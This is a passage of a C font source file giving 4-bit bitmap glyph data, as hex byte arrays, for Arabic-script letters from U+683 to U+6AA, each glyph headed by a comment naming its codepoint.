0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+683 "ڃ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xfe, 0xb6, 0x0, 0x0,
0xbf, 0x70, 0x0, 0x0, 0x7, 0xf4, 0x0, 0x0,
0x0, 0xf, 0x80, 0x0, 0x0, 0x0, 0x4f, 0x20,
0x20, 0x20, 0x0, 0x6f, 0x0, 0xe4, 0xf3, 0x0,
0x5f, 0x20, 0x0, 0x0, 0x0, 0x1f, 0x90, 0x0,
0x0, 0x0, 0x7, 0xfa, 0x41, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+684 "ڄ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xe, 0x30, 0x0, 0x6f, 0x0,
0x2, 0x0, 0x0, 0x5f, 0x10, 0xf, 0x30, 0x0,
0x1f, 0x80, 0x2, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+685 "څ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x7a, 0x8a, 0x0, 0x0, 0x0,
0x11, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x9e, 0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d,
0xe8, 0x41, 0x0, 0x3, 0xfa, 0x0, 0x0, 0x0,
0xc, 0xc0, 0x0, 0x0, 0x0, 0x3f, 0x30, 0x0,
0x0, 0x0, 0x6f, 0x0, 0x0, 0x0, 0x0, 0x5f,
0x10, 0x0, 0x0, 0x0, 0x1f, 0x80, 0x0, 0x0,
0x0, 0x8, 0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d,
0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+686 "چ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xd5, 0xd4, 0x0, 0x6f, 0x0,
0x20, 0x20, 0x0, 0x5f, 0x10, 0xd, 0x50, 0x0,
0x1f, 0x80, 0x2, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x14, 0x94, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+687 "ڇ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xd5, 0xd4, 0x0, 0x6f, 0x0,
0x20, 0x20, 0x0, 0x5f, 0x10, 0xd5, 0xe4, 0x0,
0x1f, 0x80, 0x21, 0x20, 0x0, 0x8, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+688 "ڈ" */
0x0, 0xc0, 0x0, 0x0, 0xc, 0x26, 0x10, 0x0,
0xda, 0x98, 0x0, 0x6e, 0xcc, 0x20, 0x0, 0x0,
0x0, 0x0, 0x2, 0xb7, 0x0, 0x0, 0x5, 0xf5,
0x0, 0x0, 0xa, 0xd0, 0x0, 0x0, 0x5f, 0x20,
0x0, 0x7, 0xf1, 0x9, 0x6a, 0xfc, 0x0, 0xdf,
0xe9, 0x10,
/* U+689 "ډ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xff, 0xf1,
0x0, 0xa, 0x58, 0x80, 0x0, 0xb5, 0x88, 0x0,
0x3, 0xdc, 0x10,
/* U+68A "ڊ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xfe, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0xa, 0x70, 0x0,
0x0, 0x11, 0x0,
/* U+68B "ڋ" */
0x0, 0xc0, 0x0, 0x0, 0xc, 0x26, 0x10, 0x0,
0xda, 0x98, 0x0, 0x6e, 0xcc, 0x20, 0x0, 0x0,
0x0, 0x0, 0x2, 0xb7, 0x0, 0x0, 0x5, 0xf5,
0x0, 0x0, 0xa, 0xd0, 0x0, 0x0, 0x5f, 0x20,
0x0, 0x7, 0xf1, 0x9, 0x6a, 0xfc, 0x0, 0xdf,
0xe9, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa7,
0x0, 0x0, 0x1, 0x10, 0x0,
/* U+68C "ڌ" */
0x0, 0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0,
0x13, 0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2,
0xf8, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f,
0x20, 0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0,
0xdf, 0xe8, 0x0,
/* U+68D "ڍ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xfe, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0xa8, 0xb7, 0x0,
0x1, 0x11, 0x10,
/* U+68E "ڎ" */
0x0, 0xf, 0x10, 0x0, 0x0, 0x20, 0x0, 0x0,
0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0, 0x13,
0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2, 0xf8,
0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f, 0x20,
0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0, 0xdf,
0xe8, 0x0,
/* U+68F "ڏ" */
0x0, 0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0,
0xf, 0x10, 0x0, 0x0, 0x20, 0x0, 0x0, 0x2b,
0x60, 0x0, 0x0, 0x5f, 0x40, 0x0, 0x0, 0xad,
0x0, 0x0, 0x5, 0xf2, 0x0, 0x0, 0x7f, 0x10,
0x96, 0xaf, 0xc0, 0xd, 0xfe, 0x91, 0x0,
/* U+690 "ڐ" */
0x0, 0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0,
0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0, 0x13,
0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2, 0xf8,
0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f, 0x20,
0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0, 0xdf,
0xe8, 0x0,
/* U+691 "ڑ" */
0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0xc0,
0x0, 0x0, 0x0, 0xc, 0x27, 0x10, 0x0, 0x0,
0xda, 0x97, 0x0, 0x0, 0x7e, 0xcb, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xd, 0x70, 0x0, 0x0, 0x0, 0xbb,
0x0, 0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0,
0xd9, 0x0, 0x0, 0x0, 0x4f, 0x50, 0x0, 0x0,
0x4f, 0xd0, 0x1, 0x46, 0xcf, 0xd1, 0x0, 0xaf,
0xfc, 0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+692 "ڒ" */
0x0, 0x0, 0x47, 0x8, 0x40, 0x0, 0x0, 0xd8,
0xd0, 0x0, 0x0, 0x4, 0xd3, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xa, 0x50, 0x0, 0x0, 0x0, 0xba, 0x0,
0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0, 0xca,
0x0, 0x0, 0x0, 0x3f, 0x60, 0x0, 0x0, 0x4e,
0xd0, 0x1, 0x46, 0xcf, 0xd2, 0x0, 0xaf, 0xfc,
0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+693 "ړ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x0, 0x0, 0xbb, 0x0, 0x0,
0x0, 0x0, 0xab, 0x0, 0x0, 0x0, 0x0, 0xe9,
0x0, 0x0, 0x0, 0x7, 0xf4, 0x0, 0x0, 0x1,
0x9f, 0xfe, 0x90, 0x59, 0xbf, 0xfc, 0xd1, 0xf0,
0xae, 0xb7, 0x10, 0xbe, 0x90,
/* U+694 "ڔ" */
0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0xb,
0xa0, 0x0, 0x0, 0x0, 0xab, 0x0, 0x0, 0x0,
0xc, 0xa0, 0x0, 0x0, 0x3, 0xf6, 0x0, 0x0,
0x2, 0xed, 0x0, 0x1, 0x4a, 0xfd, 0x20, 0xa,
0xff, 0xc6, 0x0, 0x98, 0x33, 0x10, 0x0, 0x0,
0x0,
/* U+695 "ڕ" */
0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0x0,
0x0, 0xba, 0x0, 0x0, 0x0, 0x0, 0x0, 0xab,
0x0, 0x0, 0x0, 0x0, 0x0, 0xca, 0x0, 0x0,
0x0, 0x0, 0x3, 0xf6, 0x0, 0x0, 0x0, 0x0,
0x4e, 0xd3, 0x0, 0x20, 0x14, 0x6c, 0xfd, 0x2a,
0x86, 0xb0, 0xaf, 0xfc, 0x60, 0x1, 0xee, 0x20,
0x33, 0x10, 0x0, 0x0, 0x33, 0x0,
/* U+696 "ږ" */
0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x0, 0xb,
0xb0, 0x0, 0x11, 0x0, 0xbb, 0x0, 0x9, 0x90,
0xe, 0x90, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0,
0x4b, 0xfa, 0x0, 0x7c, 0xef, 0xf9, 0x6, 0x5a,
0xec, 0x72, 0x0, 0x54,
/* U+697 "ڗ" */
0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xc, 0x70, 0x0, 0x0, 0x0, 0xbb, 0x0, 0x0,
0x0, 0xa, 0xb0, 0x0, 0x0, 0x0, 0xda, 0x0,
0x0, 0x0, 0x4f, 0x50, 0x0, 0x0, 0x4f, 0xd0,
0x1, 0x46, 0xcf, 0xd2, 0x0, 0xaf, 0xfc, 0x60,
0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+698 "ژ" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xc, 0x70, 0x0, 0x0, 0x0, 0xbb, 0x0,
0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0, 0xda,
0x0, 0x0, 0x0, 0x4f, 0x50, 0x0, 0x0, 0x4f,
0xd0, 0x1, 0x46, 0xcf, 0xd2, 0x0, 0xaf, 0xfc,
0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+699 "ڙ" */
0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xc, 0x70, 0x0, 0x0, 0x0, 0xbb, 0x0,
0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0, 0xda,
0x0, 0x0, 0x0, 0x4f, 0x50, 0x0, 0x0, 0x4f,
0xd0, 0x1, 0x46, 0xcf, 0xd2, 0x0, 0xaf, 0xfc,
0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+69A "ښ" */
0x0, 0x0, 0x0, 0x0, 0x3, 0xe0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0,
0x1, 0x61, 0x0, 0x0, 0x0, 0x2, 0x10, 0x0,
0x20, 0x3, 0xf3, 0x0, 0x0, 0x0, 0xc, 0x90,
0x5, 0xf2, 0x3, 0xf3, 0x1, 0x0, 0x0, 0x8,
0xd0, 0x6, 0xf3, 0x4, 0xf2, 0x6f, 0x10, 0x0,
0x6, 0xf3, 0xa, 0xf9, 0x7, 0xf1, 0xca, 0x0,
0x0, 0x6, 0xff, 0xbf, 0xcf, 0xbf, 0xb0, 0xe8,
0x0, 0x0, 0xa, 0xfc, 0xfa, 0x1a, 0xfb, 0x10,
0xe8, 0x0, 0x0, 0x4f, 0xa0, 0x0, 0x0, 0x0,
0x0, 0xbe, 0x52, 0x27, 0xfe, 0x20, 0x1f, 0x10,
0x0, 0x0, 0x2d, 0xff, 0xff, 0xb2, 0x0, 0x2,
0x0, 0x0, 0x0, 0x0, 0x24, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+69B "ڛ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xf3, 0x0, 0x0, 0x0, 0xd, 0x90, 0x4, 0xf2,
0x3, 0xf3, 0x0, 0x0, 0x0, 0x8, 0xd0, 0x6,
0xf3, 0x4, 0xf3, 0x6f, 0x10, 0x0, 0x6, 0xf3,
0xa, 0xf8, 0x6, 0xf1, 0xca, 0x0, 0x0, 0x6,
0xfe, 0xbf, 0xcf, 0xbf, 0xc0, 0xe8, 0x0, 0x0,
0xa, 0xfc, 0xfa, 0x1a, 0xfb, 0x10, 0xe8, 0x0,
0x0, 0x5f, 0xa0, 0x0, 0x0, 0x0, 0x0, 0xaf,
0x85, 0x59, 0xfe, 0x20, 0xb2, 0xb0, 0x0, 0x0,
0x1b, 0xff, 0xff, 0x91, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x1, 0x20, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0,
/* U+69C "ڜ" */
0x0, 0x0, 0x0, 0x0, 0x3, 0xe0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x4e,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0x2, 0x0, 0x1, 0x61, 0x0, 0x0, 0x0, 0x2,
0x10, 0x0, 0x20, 0x3, 0xf3, 0x0, 0x0, 0x0,
0xc, 0x90, 0x5, 0xf2, 0x3, 0xf3, 0x1, 0x0,
0x0, 0x8, 0xd0, 0x6, 0xf3, 0x4, 0xf2, 0x6f,
0x10, 0x0, 0x5, 0xf3, 0xa, 0xf9, 0x7, 0xf1,
0xca, 0x0, 0x0, 0x6, 0xff, 0xbf, 0xcf, 0xbf,
0xb0, 0xe8, 0x0, 0x0, 0xa, 0xfc, 0xfa, 0x1a,
0xfb, 0x10, 0xe8, 0x0, 0x0, 0x5f, 0xa0, 0x0,
0x0, 0x0, 0x0, 0xaf, 0x85, 0x59, 0xfe, 0x20,
0xb2, 0xb0, 0x0, 0x0, 0x1a, 0xff, 0xff, 0x91,
0x0, 0x1f, 0x10, 0x0, 0x0, 0x0, 0x1, 0x20,
0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
/* U+69D "ڝ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xaf,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e,
0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0xa, 0x43,
0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10, 0x0, 0xc,
0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac, 0x0, 0x0,
0xa, 0xff, 0x87, 0x8b, 0xff, 0x50, 0xd9, 0x0,
0x0, 0xb, 0xde, 0xff, 0xed, 0x81, 0x0, 0xf7,
0x0, 0x0, 0xd, 0x90, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0, 0xf3, 0xf0,
0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1, 0x0, 0x20,
0x20, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+69E "ڞ" */
0x0, 0x0, 0x0, 0x0, 0xf, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe3, 0xe1,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, 0xaf, 0xfc, 0x30, 0x0, 0x0, 0x0, 0x0,
0x0, 0x3e, 0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0,
0xa, 0x43, 0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10,
0x0, 0xc, 0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac,
0x0, 0x0, 0xa, 0xff, 0x87, 0x8b, 0xff, 0x50,
0xd9, 0x0, 0x0, 0xb, 0xde, 0xff, 0xed, 0x81,
0x0, 0xf7, 0x0, 0x0, 0xd, 0x90, 0x0, 0x0,
0x0, 0x0, 0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0,
0x0, 0x0, 0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13, 0x41,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+69F "ڟ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0xf, 0x20, 0x0, 0x0, 0x0, 0xf7, 0x0, 0x20,
0x0, 0x0, 0x0, 0xf, 0x70, 0xf3, 0xf2, 0x0,
0x0, 0x0, 0xf7, 0x2, 0x2, 0x10, 0x0, 0x0,
0xf, 0x70, 0x6, 0xdf, 0xf9, 0x0, 0x0, 0xf7,
0xb, 0xfa, 0x46, 0xf7, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xa0, 0x0, 0xfd, 0xf5, 0x0, 0x6,
0xf8, 0x67, 0x7f, 0xfd, 0x77, 0x9d, 0xfc, 0x1e,
0xff, 0xff, 0xff, 0xfe, 0xb5, 0x0,
/* U+6A0 "ڠ" */
0x0, 0xa, 0x80, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0xa8, 0xb7, 0x0, 0x0, 0x0,
0x11, 0x11, 0x0, 0x0, 0x0, 0x8, 0xef, 0x20,
0x0, 0x0, 0xce, 0x75, 0x0, 0x0, 0x4, 0xf2,
0x0, 0x0, 0x0, 0x4, 0xf4, 0x26, 0xbd, 0x0,
0x0, 0xaf, 0xff, 0xd9, 0x0, 0x0, 0xbf, 0x92,
0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0, 0xf,
0x80, 0x0, 0x0, 0x0, 0xf, 0x50, 0x0, 0x0,
0x0, 0xe, 0x90, 0x0, 0x0, 0x0, 0x6, 0xf9,
0x31, 0x13, 0x95, 0x0, 0x6d, 0xff, 0xff, 0xd3,
0x0, 0x0, 0x13, 0x31, 0x0,
/* U+6A1 "ڡ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0xaf, 0xd2, 0x0,
0x0, 0x0, 0x0, 0x0, 0x9f, 0x9e, 0xe0, 0x0,
0x0, 0x0, 0x0, 0xd, 0xa0, 0x5f, 0x30, 0x0,
0x0, 0x0, 0x0, 0xcd, 0x18, 0xf3, 0xba, 0x0,
0x0, 0x0, 0x4, 0xff, 0xef, 0x1f, 0x80, 0x0,
0x0, 0x0, 0x0, 0x3b, 0xc0, 0xbf, 0x83, 0x21,
0x22, 0x46, 0xaf, 0xe2, 0x0, 0x9f, 0xff, 0xff,
0xff, 0xfc, 0x70, 0x0, 0x0, 0x2, 0x44, 0x43,
0x10, 0x0, 0x0, 0x0,
/* U+6A2 "ڢ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x37, 0x50, 0x0,
0x0, 0x0, 0x0, 0x0, 0x5f, 0xff, 0x80, 0x0,
0x0, 0x0, 0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0,
0x0, 0x0, 0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0,
0x0, 0x0, 0x4, 0xff, 0xef, 0x2f, 0x70, 0x0,
0x0, 0x0, 0x0, 0x26, 0xf0, 0xea, 0x0, 0x0,
0x0, 0x0, 0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12,
0x35, 0x8d, 0xfd, 0x10, 0x6, 0xef, 0xff, 0xff,
0xff, 0xb6, 0x0, 0x0, 0x0, 0x24, 0x44, 0x31,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0xf0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0,
0x0, 0x0,
/* U+6A3 "ڣ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x37, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5f, 0xff, 0x80, 0x0, 0x0,
0x0, 0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0, 0x0,
0x0, 0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0, 0x0,
0x0, 0x4, 0xff, 0xef, 0x2f, 0x70, 0x0, 0x0,
0x0, 0x0, 0x26, 0xf0, 0xea, 0x0, 0x0, 0x0,
0x0, 0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12, 0x35,
0x8d, 0xfd, 0x10, 0x6, 0xef, 0xff, 0xff, 0xff,
0xb6, 0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0,
0x0, 0x0, 0x0, 0x0, 0x2, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
0x0,
/* U+6A4 "ڤ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x37, 0x50, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5f, 0xff, 0x80, 0x0, 0x0, 0x0,
0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0, 0x0, 0x0,
0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0, 0x0, 0x0,
0x4, 0xff, 0xef, 0x2f, 0x70, 0x0, 0x0, 0x0,
0x0, 0x26, 0xf0, 0xea, 0x0, 0x0, 0x0, 0x0,
0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12, 0x35, 0x8d,
0xfd, 0x10, 0x6, 0xef, 0xff, 0xff, 0xff, 0xb6,
0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0, 0x0,
0x0,
/* U+6A5 "ڥ" */
0x0, 0x0, 0x0, 0x0, 0x1, 0xbf, 0xd2, 0x0,
0x0, 0x0, 0x0, 0x0, 0xbf, 0x9d, 0xe0, 0x0,
0x0, 0x0, 0x0, 0xd, 0xc1, 0x6f, 0x3b, 0xb0,
0x0, 0x0, 0x0, 0x5f, 0xfe, 0xf3, 0xf7, 0x0,
0x0, 0x0, 0x0, 0x12, 0x6f, 0x1e, 0xa0, 0x0,
0x0, 0x0, 0x0, 0x6f, 0xc0, 0x7f, 0xa4, 0x21,
0x23, 0x58, 0xdf, 0xe2, 0x0, 0x6e, 0xff, 0xff,
0xff, 0xfc, 0x70, 0x0, 0x0, 0x2, 0x44, 0x43,
0x10, 0x0, 0x0, 0x0, 0x0, 0x2, 0xf3, 0xf0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x2, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0,
/* U+6A6 "ڦ" */
0x0, 0x0, 0x0, 0x0, 0x1, 0xf3, 0xf1, 0x0,
0x0, 0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x37, 0x50, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5f, 0xff, 0x80, 0x0, 0x0, 0x0,
0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0, 0x0, 0x0,
0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0, 0x0, 0x0,
0x4, 0xff, 0xef, 0x2f, 0x70, 0x0, 0x0, 0x0,
0x0, 0x26, 0xf0, 0xea, 0x0, 0x0, 0x0, 0x0,
0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12, 0x35, 0x8d,
0xfd, 0x10, 0x6, 0xef, 0xff, 0xff, 0xff, 0xb6,
0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0, 0x0,
0x0,
/* U+6A7 "ڧ" */
0x0, 0x0, 0x0, 0x5, 0xc0, 0x0, 0x0, 0x0,
0x0, 0x1, 0x20, 0x0, 0x0, 0x0, 0x0, 0x1b,
0xfc, 0x10, 0x0, 0x0, 0x0, 0xaf, 0x9e, 0xa0,
0x0, 0x0, 0x0, 0xf9, 0x7, 0xf0, 0x0, 0x0,
0x0, 0xdc, 0x19, 0xf2, 0x3, 0x50, 0x0, 0x5f,
0xfe, 0xf3, 0xc, 0x90, 0x0, 0x1, 0x24, 0xf1,
0xf, 0x50, 0x0, 0x0, 0x9, 0xd0, 0x2f, 0x40,
0x0, 0x0, 0x3f, 0x60, 0xf, 0x70, 0x0, 0x4,
0xeb, 0x0, 0xb, 0xe5, 0x35, 0xaf, 0xb0, 0x0,
0x1, 0xdf, 0xff, 0xe7, 0x0, 0x0, 0x0, 0x3,
0x43, 0x0, 0x0, 0x0,
/* U+6A8 "ڨ" */
0x0, 0x0, 0x0, 0x6, 0xc0, 0x0, 0x0, 0x0,
0x0, 0x1, 0x20, 0x0, 0x0, 0x0, 0x0, 0x5c,
0x6c, 0x0, 0x0, 0x0, 0x0, 0x2, 0x12, 0x0,
0x0, 0x0, 0x0, 0x3, 0x74, 0x0, 0x0, 0x0,
0x0, 0x7f, 0xff, 0x60, 0x0, 0x0, 0x0, 0xeb,
0x19, 0xe0, 0x0, 0x0, 0x0, 0xeb, 0x18, 0xf2,
0x3, 0x50, 0x0, 0x5f, 0xfe, 0xf3, 0xc, 0x90,
0x0, 0x1, 0x24, 0xf2, 0xf, 0x50, 0x0, 0x0,
0x9, 0xe0, 0x2f, 0x40, 0x0, 0x0, 0x3f, 0x80,
0xf, 0x70, 0x0, 0x3, 0xec, 0x0, 0xb, 0xe4,
0x35, 0xaf, 0xc1, 0x0, 0x1, 0xdf, 0xff, 0xe7,
0x0, 0x0, 0x0, 0x3, 0x43, 0x0, 0x0, 0x0,
/* U+6A9 "ک" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x42, 0x0,
0x0, 0x0, 0x0, 0x1, 0x7d, 0xf4, 0x0, 0x0,
0x0, 0x2, 0x9f, 0xf9, 0x20, 0x0, 0x0, 0x0,
0x3f, 0xd6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9f,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5f, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9, 0xf4, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0xcf, 0x20, 0x0,
0x79, 0x0, 0x0, 0x0, 0x1e, 0xb0, 0x0, 0xe8,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0,
0x0, 0x0, 0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22,
0x49, 0xef, 0x60, 0x0, 0x7, 0xef, 0xff, 0xfd,
0x92, 0x0, 0x0, 0x0, 0x2, 0x43, 0x10, 0x0,
0x0, 0x0,
/* U+6AA "ڪ" */
0x0, 0x0, 0x0, 0x0, 0x6f, 0xe6, 0x0, 0x0,
